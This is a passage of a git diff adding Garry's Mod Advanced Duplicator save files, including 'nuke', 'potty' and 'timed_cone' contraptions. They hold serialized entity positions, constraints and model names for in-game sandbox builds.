1;Y:28=Y:32;Y:26=T:44556A90;Y:33=N:100000;}44633608{Y:24=N:80;Y:25=N:0;}52F0BE78{T:365B7C68;T:43B64038;}365486E8{Y:24=N:80;Y:25=N:0;}465C5638{T:445B2E90;T:4471E8A0;}43FE1A78{T:44325F58;T:45501B28;}3619D758{Y:24=N:81;Y:25=N:0;} +[Dict] +1:"models/props_phx/construct/metal_dome360.mdl" +2:"Model" +3:"LocalAngle" +4:"LocalPos" +5:"Skin" +6:"Frozen" +7:"PhysicsObjects" +8:"prop_physics" +9:"Class" +10:"models/debug/debugwhite" +11:"MaterialOverride" +12:"material" +13:"Mass" +14:"mass" +15:"Color" +16:"RenderMode" +17:"RenderFX" +18:"colour" +19:"EntityMods" +20:"models/dav0r/hoverball.mdl" +21:"CollisionGroupMod" +22:"phoenix_storms/black_chrome" +23:"models/props_junk/MetalBucket01a.mdl" +24:"Index" +25:"Bone" +26:"Entity" +27:"Weld" +28:"Type" +29:"nocollide" +30:"forcelimit" +31:"NoCollide" +32:"Keepupright" +33:"angularlimit" +Saved:390 \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/nuke.txt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/nuke.txt new file mode 100644 index 0000000..eeccf9a --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/nuke.txt @@ -0,0 +1,51 @@ +[Info] +Type:AdvDupe File +Creator:"-=[UH]=- HeX" +Date:01/03/11 +Description:"none" +Entities:2 +Constraints:1 +[More Information] +FileVersion:0.84 +AdvDupeVersion:1.85 +AdvDupeToolVersion:1.9 +AdvDupeSharedVersion:1.72 +SerialiserVersion:1.4 +WireVersion:Not Installed +Time:02:32 PM +Head:91 +HoldAngle:0,-173.312,0 +HoldPos:-56.4571,2.37899,20.8808 +StartPos:12362.2,-1281.14,8.03125 +[Save] +Entities:H442DB028{N:91=T:52C6F7E8;N:90=T:5195AA30;}5312CF78{N:0=T:4447DC90;}5195AA30{Y:10=N:0;Y:1=A:0.191062,94.5541,86.5109;Y:12=Y:11;Y:6=Y:13;Y:8=Y:14;Y:4=T:5071ECC8;Y:15=N:5;Y:16=B:t;Y:18=Y:17;Y:2=V:19.1992,-0.821289,11.7557;Y:9=N:0;Y:19=N:0;Y:20=N:5472.1499023438;S:"key"=N:8;}4447DC90{Y:1=A:3.39737,-175.446,180.189;Y:2=V:-57.2305,-6.8761,17.5061;Y:3=B:t;}52C6F7E8{Y:4=T:5312CF78;Y:1=A:3.39737,-175.446,-179.811;Y:2=V:-57.2305,-6.8761,17.5061;Y:6=Y:5;Y:8=Y:7;Y:9=N:0;}57837130{Y:1=A:0.191062,94.5541,86.5109;Y:2=V:19.1992,-0.821289,11.7557;Y:3=B:f;}5071ECC8{N:0=T:57837130;} +Constraints:50B75C00{Y:22=N:91;Y:23=N:0;}531E0C40{Y:22=N:90;Y:23=N:0;}H44963958{T:57022908;}57022908{Y:16=B:t;Y:21=N:0;Y:24=T:54D6A788;Y:25=B:t;Y:27=Y:26;}54D6A788{T:531E0C40;T:50B75C00;} +[Dict] +1:"LocalAngle" +2:"LocalPos" +3:"Frozen" +4:"PhysicsObjects" +5:"models/props_phx/mk-82.mdl" +6:"Model" +7:"mk-82_sent_atomic_bomb" +8:"Class" +9:"Skin" +10:"damageable" +11:"plasma" +12:"effect" +13:"models/props_junk/metalbucket01a.mdl" +14:"gmod_thruster" +15:"key_bck" +16:"nocollide" +17:"WeaponDissolve.Beam" +18:"soundname" +19:"toggle" +20:"force" +21:"forcelimit" +22:"Index" +23:"Bone" +24:"Entity" +25:"deleteonbreak" +26:"Weld" +27:"Type" +Saved:14 \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/potty.txt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/potty.txt new file mode 100644 index 0000000..8e2426c --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/potty.txt @@ -0,0 +1,79 @@ +[Info] +Type:AdvDupe File +Creator:"-=[UH]=- HeX" +Date:07/02/11 +Description:"none" +Entities:4 +Constraints:4 +[More Information] +FileVersion:0.84 +AdvDupeVersion:1.85 +AdvDupeToolVersion:1.9 +AdvDupeSharedVersion:1.72 +SerialiserVersion:1.4 +WireVersion:Not Installed +Time:10:20 PM +Head:188 +HoldAngle:0,-3.3637,0 +HoldPos:-24.5144,-16.775,-1.73575 +StartPos:323.557,291.585,618.031 +[Save] +Entities:028F5248{N:0=T:02AE23F8;}028CEA30{S:"a"=N:0;S:"b"=N:255;S:"g"=N:0;S:"r"=N:246;}028F4CD0{;}028F2EF8{Y:14=Y:13;Y:16=Y:15;Y:19=T:029B6790;Y:9=Y:20;Y:22=Y:21;Y:24=Y:23;Y:2=Y:25;}02B0F6F0{Y:3=A:0.370614,1.88022,356.4;Y:4=V:64.7128,61.8064,18.4061;Y:6=B:f;}02AD21D8{S:"a"=N:0;S:"b"=N:255;S:"g"=N:0;S:"r"=N:246;}028CEA58{Y:3=A:-0.0909262,90.32,359.882;Y:4=V:16.3291,-18.9546,59.6747;Y:6=B:f;}028ACA98{Y:18=Y:42;Y:43=S:"0";}02B20EC8{Y:7=T:028D6E60;Y:9=Y:39;Y:26=T:02AF8928;Y:27=Y:46;Y:4=V:16.0118,-25.1904,104.703;Y:2=Y:45;Y:11=T:02B055B0;Y:3=A:2.30671,-177.981,2.2387;Y:5=N:0;}02AD27A0{Y:7=T:028F5248;Y:33=Y:32;Y:9=Y:34;Y:5=N:0;S:"key"=N:10;Y:3=A:-0.0363831,-75.9161,-179.872;Y:4=V:14.4167,-18.2878,17.8273;Y:2=Y:35;Y:36=B:t;Y:11=T:028F60D0;Y:37=N:0.05;Y:38=B:f;}02B38960{Y:3=A:2.30671,-177.981,2.2387;Y:4=V:16.0118,-25.1904,104.703;Y:6=B:f;}02B3BF70{Y:3=A:0.368475,1.88022,356.827;Y:4=V:-15.0638,-76.0759,22.4217;Y:6=B:f;}028AEF50{S:"a"=N:0;S:"b"=N:234;S:"g"=N:234;S:"r"=N:242;}02AFC398{Y:28=T:02AD21D8;Y:29=N:0;Y:30=N:0;}02AF3180{;}02B0F650{Y:3=A:0.367911,1.88022,356.421;Y:4=V:68.4119,-74.0965,22.416;Y:6=B:f;}028D6E60{N:0=T:02B38960;}02AE7FB0{Y:3=A:0.370489,1.88023,356.426;Y:4=V:-17.8423,59.8488,18.4245;Y:6=B:f;}028CF638{N:0=T:028CEA58;}02B0DFD0{Y:28=T:028CEA30;Y:29=N:0;Y:30=N:0;}02AF8928{Y:14=Y:13;Y:40=T:028F4CD0;Y:16=Y:41;Y:19=T:028ACA98;Y:9=Y:39;Y:22=Y:21;Y:24=Y:44;Y:2=Y:45;}029B6790{Y:18=Y:17;}02B055B0{Y:31=T:028F5C98;Y:47=T:02AF3180;}028F5C98{Y:28=T:028AEF50;Y:29=N:0;Y:30=N:0;}02ACD868{Y:7=T:02B465B0;Y:9=Y:12;Y:26=T:028F2EF8;Y:27=Y:15;Y:4=V:23.962,17.5566,1.72095;Y:2=Y:25;Y:11=T:02A60678;Y:3=A:0.339364,1.87999,0.445679;Y:5=N:0;}028F60D0{Y:10=N:20;Y:31=T:02AFC398;}02B1B3D8{Y:10=N:20;}02ACC490{Y:2=Y:1;Y:3=A:-0.0909262,90.32,-0.117584;Y:4=V:16.3291,-18.9546,59.6747;Y:5=N:0;Y:7=T:028CF638;Y:9=Y:8;Y:11=T:02B1B3D8;}02A60678{Y:31=T:02B0DFD0;}02ADCC00{Y:3=A:0.339364,1.87999,0.445679;Y:4=V:23.962,17.5566,1.72095;Y:6=B:f;}02AE23F8{Y:3=A:-0.0363831,-75.9161,180.128;Y:4=V:14.4167,-18.2878,17.8273;Y:6=B:f;}02B465B0{N:1=T:02AE7FB0;N:2=T:02B0F6F0;N:3=T:02B3BF70;N:4=T:02B0F650;N:0=T:02ADCC00;}H02B2D128{N:186=T:02ACC490;N:188=T:02ACD868;N:93=T:02AD27A0;N:189=T:02B20EC8;} +Constraints:02ADB3A0{Y:48=N:188;Y:49=N:0;}02B3E6D0{T:028AD9C0;T:02B28538;}028AE910{T:02AC5370;T:02ADB3A0;}028AD9C0{Y:48=N:93;Y:49=N:0;}02B28538{Y:48=N:188;Y:49=N:0;}02AE9180{Y:50=T:02A5FD40;Y:52=Y:51;Y:53=B:t;Y:54=N:0;}02A99E00{Y:50=T:02B3E6D0;Y:52=Y:55;}02B374C0{Y:48=N:93;Y:49=N:0;}02AC5370{Y:48=N:186;Y:49=N:0;}H46DCE138{T:02AE9180;T:02B4B600;T:02A99E00;T:02B2A518;}02B29AA0{Y:48=N:189;Y:49=N:0;}02B4B600{Y:50=T:02B4DEA0;Y:52=Y:51;Y:54=N:0;}02B4DEA0{T:02B29AA0;T:02AF4990;}02A5FD40{T:02B374C0;T:028F63C8;}028F63C8{Y:48=N:188;Y:49=N:0;}02AF4990{Y:48=N:186;Y:49=N:0;}02B2A518{Y:50=T:028AE910;Y:52=Y:51;Y:53=B:t;Y:54=N:0;} +[Dict] +1:"models/props_c17/furnituretoilet001a.mdl" +2:"Model" +3:"LocalAngle" +4:"LocalPos" +5:"Skin" +6:"Frozen" +7:"PhysicsObjects" +8:"prop_physics" +9:"Class" +10:"CollisionGroupMod" +11:"EntityMods" +12:"prop_vehicle_jeep" +13:"Half-Life 2" +14:"Category" +15:"Jeep" +16:"Name" +17:"scripts/vehicles/jeep_test.txt" +18:"vehiclescript" +19:"KeyValues" +20:"prop_vehicle_jeep_old" +21:"VALVe" +22:"Author" +23:"The regular old jeep" +24:"Information" +25:"models/buggy.mdl" +26:"VehicleTable" +27:"VehicleName" +28:"Color" +29:"RenderMode" +30:"RenderFX" +31:"colour" +32:"striderblood" +33:"effect" +34:"gmod_emitter" +35:"models/props_lab/tpplug.mdl" +36:"toggle" +37:"delay" +38:"starton" +39:"prop_vehicle_prisoner_pod" +40:"Members" +41:"Airboat Seat" +42:"scripts/vehicles/prisoner_pod.txt" +43:"limitview" +44:"A Seat from VALVe's Airboat" +45:"models/nova/airboat_seat.mdl" +46:"Seat_Airboat" +47:"VehicleMemDupe" +48:"Index" +49:"Bone" +50:"Entity" +51:"Weld" +52:"Type" +53:"nocollide" +54:"forcelimit" +55:"NoCollide" +Saved:96 \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/timed_cone.txt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/timed_cone.txt new file mode 100644 index 0000000..41f87aa --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/timed_cone.txt @@ -0,0 +1,102 @@ +[Info] +Type:AdvDupe File +Creator:"nil" +Date:04/25/10 +Description:"none" +Entities:24 +Constraints:25 +[More Information] +FileVersion:0.84 +AdvDupeVersion:1.85 +AdvDupeToolVersion:1.9 +AdvDupeSharedVersion:1.72 +SerialiserVersion:1.4 +WireVersion:1910 (exported) +Time:06:32 PM +Head:34 +HoldAngle:0,-164.342,0 +HoldPos:2.3954,18.3075,-7.20049 +StartPos:-3386.03,4194.81,64.0313 +[Save] +Entities:31704EE0{Y:30=T:34675A70;}31C2FF78{Y:2=A:89.0224,28.538,358.416;Y:3=V:-1.45142,-6.21729,3885.18;Y:4=B:f;}34A362E8{S:"A"=T:33693410;S:"B"=T:31919310;}345CD6E0{S:"a"=N:255;S:"r"=N:255;S:"g"=N:255;S:"b"=N:255;}318C11A8{Y:18=T:316C0548;Y:19=N:0;Y:20=N:0;}47C445C0{Y:21=T:345C5578;}326F4BF8{Y:30=T:331E7698;}3169D970{Y:30=T:318668C8;}3463B530{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}31C55948{Y:18=T:31BA7DE8;Y:19=N:0;Y:20=N:0;}31DD8C08{Y:17=N:20;Y:21=T:3186DF88;Y:31=T:32E37B48;}3294B340{S:"Clk"=T:32D06360;}3486D738{Y:2=A:-0.000197927,-70.1348,359.857;Y:3=V:-10.1362,-26.0278,3781.55;Y:4=B:f;}333C2C70{Y:2=A:5.60777e-011,-60.6985,3.7146e-006;Y:3=V:-20.7397,-0.362793,3910.61;Y:4=B:t;}34B1A050{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}2E311AB0{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}33693410{Y:22=T:47E26D10;S:"Src"=N:53;Y:23=S:"Out";Y:24=V:1.16,-2.59,1.16;Y:18=T:31861A80;Y:26=Y:56;Y:27=V:2.07,3.62,0.84;Y:28=N:0.5;}1F131CE8{Y:17=N:20;Y:21=T:31C55948;Y:31=T:31FC0CF8;}322A8950{Y:29=T:334B0F40;}334272E8{Y:29=T:320EB568;}33048E10{S:"a"=N:255;S:"r"=N:255;S:"g"=N:255;S:"b"=N:255;}31DED300{Y:18=T:32E4C120;Y:19=N:0;Y:20=N:0;}32F32410{Y:18=T:2E311AB0;Y:19=N:0;Y:20=N:0;}2E152F28{Y:21=T:31DED300;Y:31=T:326F4BF8;}31824488{N:0=T:32844DC8;}334B0F40{Y:22=T:34A42E28;S:"Src"=N:50;Y:23=S:"Out";Y:24=V:-0.472737,1.04502,1.16001;Y:18=T:31E1F628;Y:26=Y:25;Y:27=V:-2.49923,-2.70774,3.02431;Y:28=N:0;}34C79D60{Y:17=N:20;Y:21=T:34B07D28;}317283D0{N:0=T:31F8E010;}2EB0BC98{Y:1=N:1;Y:5=T:3487EAC0;Y:6=B:t;Y:8=Y:7;Y:10=Y:9;Y:11=N:0.019999999552965;Y:12=S:"0";Y:13=N:9999;Y:2=A:9.94427e-008,-57.4253,-4.99882e-007;Y:3=V:-27.1721,6.59814,3867.91;Y:14=N:0;Y:16=Y:15;Y:32=T:2EAF49C8;Y:33=N:0;Y:34=N:9999;}317EF598{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}326E0D20{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}32101380{S:"0.1";S:"1";}328868F0{Y:2=A:55.5664,156.574,179.099;Y:3=V:1.40942,-13.167,3878.85;Y:4=B:f;}47ED2A08{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}H2E8C3DC0{N:58=T:2EB0BC98;N:59=T:32C58238;N:60=T:47EC2F18;N:61=T:48067DD8;N:63=T:348DD4C8;N:34=T:48119090;N:36=T:346BDBD0;N:37=T:31FFD740;N:38=T:31D886C8;N:39=T:3470C590;N:41=T:3462B1B0;N:44=T:347DC900;N:45=T:336C1F50;N:46=T:31891558;N:48=T:34624CC8;N:49=T:338A7F00;N:50=T:312B6510;N:51=T:333EBE18;N:53=T:32A40CA0;N:54=T:31EC6610;N:55=T:48026B20;N:56=T:3306E630;N:57=T:3273DF78;N:70=T:334BF3E0;}32680E18{;}348F9DE0{Y:30=T:3131DD60;}3205A338{Y:18=T:34879770;Y:19=N:0;Y:20=N:0;}323A48C8{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}1F157CE0{;}312C3D00{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}34B67C20{Y:22=T:34C1E550;S:"Src"=N:48;Y:23=S:"Out";Y:24=V:-3.36,-0.33,1.12;Y:18=T:47C43298;Y:26=Y:56;Y:27=V:2.71,-1.31,1.16;Y:28=N:0.5;}31861A80{S:"a"=N:255;S:"r"=N:255;S:"g"=N:255;S:"b"=N:255;}31326988{Y:29=T:2E93C2F0;}3327EF10{Y:18=T:3463B530;Y:19=N:0;Y:20=N:0;}2DFE9210{N:0=T:32BD3908;}334BF3E0{Y:5=T:2DFE9210;Y:2=A:89.6674,147.044,117.985;Y:3=V:-9.32593,7.97559,3885.7;Y:14=N:0;Y:42=T:32101380;Y:10=Y:43;Y:16=Y:44;Y:32=T:2E129878;}32C75CE8{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}2E4041A0{S:"a"=N:255;S:"r"=N:255;S:"g"=N:255;S:"b"=N:255;}3306E630{Y:5=T:3469C858;Y:35=S:"=";Y:10=Y:36;Y:6=B:t;Y:14=N:0;Y:3=V:1.40942,-13.167,3878.85;Y:16=Y:37;Y:38=B:f;Y:32=T:348C71F8;Y:2=A:55.5664,156.574,179.099;}32FF9360{;}31919310{Y:22=T:480B1010;S:"Src"=N:61;Y:23=Y:39;Y:24=V:-0.56,-1.51,1.11;Y:18=T:48036340;Y:26=Y:56;Y:27=V:1.1,3.68,0.78;Y:28=N:0.5;}34B1A148{;}480B1010{;}2DF37DD0{T:32EECEF8;}348C71F8{Y:21=T:3205A338;Y:31=T:3305CF38;}321DE490{Y:18=T:32E402E8;Y:19=N:0;Y:20=N:0;}48055188{Y:2=A:89.8574,93.104,198.601;Y:3=V:-19.5654,-2.05322,2.39294;Y:4=B:t;}3189A008{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}34879770{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}31E55630{Y:22=T:335ABA68;S:"Src"=N:56;Y:23=S:"Out";Y:24=V:2.83,3.77,0.68;Y:18=T:2E4041A0;Y:26=Y:56;Y:27=V:-0.46,3.57,3.19;Y:28=N:0.5;}3221F828{;}32EEB238{Y:30=T:1F43C030;}334BCE80{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}3317DA88{Y:22=T:34B1A148;S:"Src"=N:50;Y:23=S:"Out";Y:24=V:-2.65728,-1.25913,1.15994;Y:18=T:34B1A050;Y:26=Y:25;Y:27=V:-2.69007,-1.72274,4.72782;Y:28=N:0;}32AEAF88{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}347C2678{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}1EF20B90{Y:18=T:312C3D00;Y:19=N:0;Y:20=N:0;}1EF5A3B8{N:0=T:346F1CB0;}32E4C120{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}47F50F28{Y:18=T:32AEAF88;Y:19=N:0;Y:20=N:0;}317EB518{Y:21=T:47F50F28;Y:31=T:32EEB238;}31E6FB40{N:0=T:2E8BBAD8;}31716B38{Y:18=T:346DFE90;Y:19=N:0;Y:20=N:0;}3461ED68{Y:2=A:0.0301624,115.287,181.24;Y:3=V:-17.6355,-7.23779,3862.72;Y:4=B:f;}331E7698{;}345DB5C0{N:0=T:3461ED68;}34696598{N:0=T:2E8DC578;}4811E790{Y:22=T:2D1F2050;S:"Src"=N:70;Y:23=Y:69;Y:24=V:-0.742188,-1.20264,1.13977;Y:18=T:33048E10;Y:26=Y:25;Y:27=V:-1.41113,2.54199,1.1604;Y:28=N:0;}2EAF49C8{Y:17=N:20;Y:21=T:330C7A30;Y:31=T:3169D970;}320EB568{Y:22=T:32F32E70;S:"Src"=N:50;Y:23=S:"Out";Y:24=V:0.428053,-1.32604,1.15992;Y:18=T:34BECC80;Y:26=Y:25;Y:27=V:-2.71629,0.977237,5.8777;Y:28=N:0;}48036340{S:"a"=N:255;S:"r"=N:255;S:"g"=N:255;S:"b"=N:255;}2E8EAA70{;}2E129878{Y:21=T:336F26F8;}0E5E6740{Y:2=A:89.9952,-165.14,180;Y:3=V:6.21948,-6.26807,3794.75;Y:4=B:f;}47E26D10{;}3305CF38{Y:30=T:34A362E8;}47C36658{Y:2=A:87.5818,-133.081,135.134;Y:3=V:-16.4238,-6.77637,3835.1;Y:4=B:f;}2E90C878{Y:22=T:2E8EAA70;S:"Src"=N:61;Y:23=Y:69;Y:24=V:-1.14,-0.69,1.14;Y:18=T:34624110;Y:26=Y:56;Y:27=V:-0.13,2.71,1.16;Y:28=N:0.5;}2DDF52B0{S:"a"=N:255;S:"r"=N:255;S:"g"=N:255;S:"b"=N:255;}335ABA68{;}3479B928{Y:22=T:332930D8;S:"Src"=N:59;Y:23=S:"Out";Y:24=V:3.05444,0.650797,1.16004;Y:18=T:47ED2A08;Y:26=Y:25;Y:27=V:-2.24416,2.02927,3.5415;Y:28=N:0;}348DD4C8{Y:2=A:43.5661,-150.698,180;Y:10=Y:45;Y:14=N:0;Y:46=N:0;Y:47=B:f;Y:48=N:1;Y:3=V:-10.0037,6.28809,3877.97;Y:16=Y:49;Y:50=B:t;Y:32=T:2E152F28;Y:5=T:317283D0;}2D1F2050{;}3273DF78{Y:16=Y:53;Y:2=A:0.0301624,115.287,-178.76;Y:3=V:-17.6355,-7.23779,3862.72;Y:14=N:0;Y:5=T:345DB5C0;Y:10=Y:54;Y:55=N:41;Y:32=T:317EB518;}33F5A0D8{Y:2=A:90,-150.698,180;Y:3=V:-6.02441,1.77441,3884.93;Y:4=B:f;}1F43C030{Y:29=T:31E55630;}346BDBD0{Y:16=Y:52;Y:2=A:0.165637,-70.1531,-0.0237427;Y:3=V:-21.1782,9.31689,3781.26;Y:14=N:0;Y:5=T:34696598;Y:10=Y:41;Y:32=T:32E7D670;}3131DD60{S:"A"=T:3348B318;Y:70=T:4811E790;}47EC2F18{Y:16=Y:40;Y:2=A:5.60777e-011,-60.6985,3.7146e-006;Y:3=V:-20.7397,-0.362793,3910.61;Y:14=N:0;Y:5=T:3365C2D8;Y:10=Y:41;Y:32=T:3467FE10;}327E2A88{Y:22=T:2DF37DD0;S:"Src"=N:70;Y:23=Y:39;Y:24=V:2.15,-1.37,1.08;Y:18=T:3373EFB8;Y:26=Y:56;Y:27=V:-0.42,1.36,1.16;Y:28=N:0.5;}2D4538F0{Y:29=T:3317DA88;}2E97C068{Y:18=T:32C75CE8;Y:19=N:0;Y:20=N:0;}32E37B48{Y:30=T:2D4538F0;}33386DF0{Y:21=T:31716B38;Y:31=T:31C2FBA0;}2EA56968{N:0=T:32D095E8;}31F5DA48{Y:21=T:2E97C068;Y:31=T:348F9DE0;}34BECC80{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}2E956BF8{N:0=T:33F5A0D8;}48026B20{Y:5=T:2E956BF8;Y:35=Y:67;Y:10=Y:36;Y:6=B:t;Y:14=N:0;Y:3=V:-6.02441,1.77441,3884.93;Y:16=Y:37;Y:38=B:f;Y:32=T:31F5DA48;Y:2=A:90,-150.698,180;}3373EFB8{S:"a"=N:255;S:"r"=N:255;S:"g"=N:255;S:"b"=N:255;}31C2FBA0{Y:30=T:3468D880;}327350D8{Y:2=A:89.7352,116.947,97.0304;Y:3=V:-34.9695,-16.792,3790.76;Y:4=B:f;}1EE26FA0{Y:18=T:317F4E78;Y:19=N:0;Y:20=N:0;}3121C990{Y:22=T:1F157CE0;S:"Src"=N:70;Y:23=Y:39;Y:24=V:-0.518311,1.10522,1.14099;Y:18=T:2DDF52B0;Y:26=Y:25;Y:27=V:1.20947,0.343261,1.16077;Y:28=N:0;}2E7CF580{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}32A40CA0{Y:5=T:2EA56968;Y:35=Y:67;Y:10=Y:36;Y:6=B:t;Y:14=N:0;Y:3=V:-4.97461,-9.48877,3875.03;Y:16=Y:37;Y:38=B:f;Y:32=T:33386DF0;Y:2=A:90,-150.698,180;}310963E0{Y:21=T:1EE26FA0;}334929F0{Y:2=A:-0.0844353,-60.7102,359.994;Y:3=V:-17.6516,-7.26221,3880.74;Y:4=B:t;}34A43890{Y:30=T:480E05D0;}330C7A30{Y:18=T:480DA618;Y:19=N:0;Y:20=N:0;}31891558{Y:16=Y:52;Y:2=A:-0.000197927,-70.1348,-0.14267;Y:3=V:-10.1362,-26.0278,3781.55;Y:14=N:0;Y:5=T:2EAEEB80;Y:10=Y:41;Y:32=T:34C79D60;}31EC6610{Y:16=Y:71;Y:2=A:-0.0844353,-60.7102,-0.00592041;Y:3=V:-17.6516,-7.26221,3880.74;Y:14=N:0;Y:5=T:32E7FC08;Y:10=Y:41;Y:32=T:310963E0;}3468D880{S:"A"=T:327E2A88;Y:70=T:2E90C878;}32844DC8{Y:2=A:89.9897,14.8601,180;Y:3=V:3.65796,-3.97949,3763.2;Y:4=B:f;}1F1A1B60{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}34624110{S:"a"=N:255;S:"r"=N:255;S:"g"=N:255;S:"b"=N:255;}30FEEE58{N:0=T:47C36658;}317F4E78{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}34675A70{S:"A"=T:328C0760;S:"B"=T:3121C990;}333EBE18{Y:5=T:30FEEE58;Y:2=A:87.5818,-133.081,135.134;Y:3=V:-16.4238,-6.77637,3835.1;Y:16=Y:60;Y:32=T:31D29E08;Y:10=Y:66;Y:14=N:0;}346DFE90{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}31BA7DE8{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}31728428{N:0=T:31C2FF78;}47F87710{N:0=T:47C3C278;}3470C590{Y:16=Y:52;Y:2=A:-0.0732618,-160.085,-0.178314;Y:3=V:-35.3108,-17.2246,3781.28;Y:14=N:0;Y:5=T:47F87710;Y:10=Y:41;Y:32=T:31E25E58;}32D096C8{Y:18=T:32DDF038;Y:19=N:0;Y:20=N:0;}348EF9A8{S:"a"=N:255;S:"b"=N:229;S:"g"=N:0;S:"r"=N:255;}2E93C2F0{Y:22=T:34C34FA0;S:"Src"=N:50;Y:23=S:"Out";Y:24=V:-0.290195,-0.745396,1.16;Y:18=T:317EF598;Y:26=Y:25;Y:27=V:-3.12764,0.0465572,5.17822;Y:28=N:0;}31F8E010{Y:2=A:43.5661,-150.698,180;Y:3=V:-10.0037,6.28809,3877.97;Y:4=B:f;}316C0548{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}34B26E48{Y:21=T:2EE391A8;Y:31=T:1F6DEAA8;}347DC900{Y:16=Y:53;Y:2=A:89.8692,-150.497,99.6401;Y:3=V:-10.5454,-25.6753,3807.34;Y:14=N:0;Y:5=T:47C4B210;Y:10=Y:54;Y:55=N:41;Y:32=T:1F2FB128;}1F2FB128{Y:17=N:20;Y:21=T:318C11A8;Y:31=T:2EF2C468;}32794BD8{Y:18=T:334BCE80;Y:19=N:0;Y:20=N:0;}31D29E08{Y:21=T:32794BD8;Y:65=T:311C7A10;}32EECEF8{Y:68=N:60;S:"Pos"=V:10.487,13.8873,-32.4995;}34624CC8{Y:5=T:31C12388;Y:35=Y:33;Y:10=Y:36;Y:6=B:t;Y:14=N:0;Y:3=V:6.21948,-6.26807,3794.75;Y:16=Y:37;Y:38=B:f;Y:32=T:34B26E48;Y:2=A:89.9952,-165.14,180;}318668C8{Y:29=T:3479B928;}34C1E550{;}2D94F7F0{Y:2=A:0.0047527,-165.14,360;Y:3=V:5.1123,-3.74707,3781.12;Y:4=B:t;}480E05D0{S:"A"=T:34B67C20;}32789058{Y:18=T:2ECF7328;Y:19=N:0;Y:20=N:0;}2E8BBAD8{Y:2=A:89.8739,165.987,236.136;Y:3=V:-21.5222,7.65674,3762.77;Y:4=B:f;}32E7FC08{N:0=T:334929F0;}3462B1B0{Y:16=Y:53;Y:2=A:89.7352,116.947,97.0304;Y:3=V:-34.9695,-16.792,3790.76;Y:14=N:0;Y:5=T:31F734A0;Y:10=Y:54;Y:55=N:41;Y:32=T:31DD8C08;}31F734A0{N:0=T:327350D8;}31FFD740{Y:16=Y:53;Y:2=A:89.8739,165.987,-123.864;Y:3=V:-21.5222,7.65674,3762.77;Y:14=N:0;Y:5=T:31E6FB40;Y:10=Y:54;Y:55=N:41;Y:32=T:33465768;}347BAB60{Y:30=T:31326988;}1F6DEAA8{Y:30=T:3294B340;}48067DD8{Y:5=T:34895598;Y:2=A:89.7601,-113.758,-145.038;Y:3=V:-8.68066,-2.7373,3874.96;Y:14=N:0;Y:42=T:1EE20690;Y:10=Y:43;Y:16=Y:44;Y:32=T:318B98A8;}34838A28{Y:21=T:34788CE0;Y:31=T:34A43890;}346F1CB0{Y:2=A:89.9897,-165.14,180;Y:3=V:5.60693,-3.95801,3807.53;Y:4=B:f;}312B6510{Y:5=T:1EF5A3B8;Y:35=S:"-";Y:10=Y:36;Y:6=B:t;Y:14=N:0;Y:3=V:5.60693,-3.95801,3807.53;Y:16=Y:37;Y:38=B:f;Y:32=T:34838A28;Y:2=A:89.9897,-165.14,180;}345C5578{Y:18=T:1F1A1B60;Y:19=N:0;Y:20=N:0;}325A2FD8{Y:17=N:20;Y:21=T:34882970;}329B88E0{N:0=T:2D94F7F0;}31FC0CF8{Y:30=T:334272E8;}31E25E58{Y:17=N:20;Y:21=T:1EF20B90;}32DDF038{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}31C12388{N:0=T:0E5E6740;}3496F438{S:"a"=N:255;S:"r"=N:255;S:"g"=N:255;S:"b"=N:255;}317D70F0{Y:2=A:9.94427e-008,-57.4253,-4.99882e-007;Y:3=V:-27.1721,6.59814,3867.91;Y:4=B:f;}34A67EF0{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}2ECF7328{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}32E7D670{Y:17=N:20;Y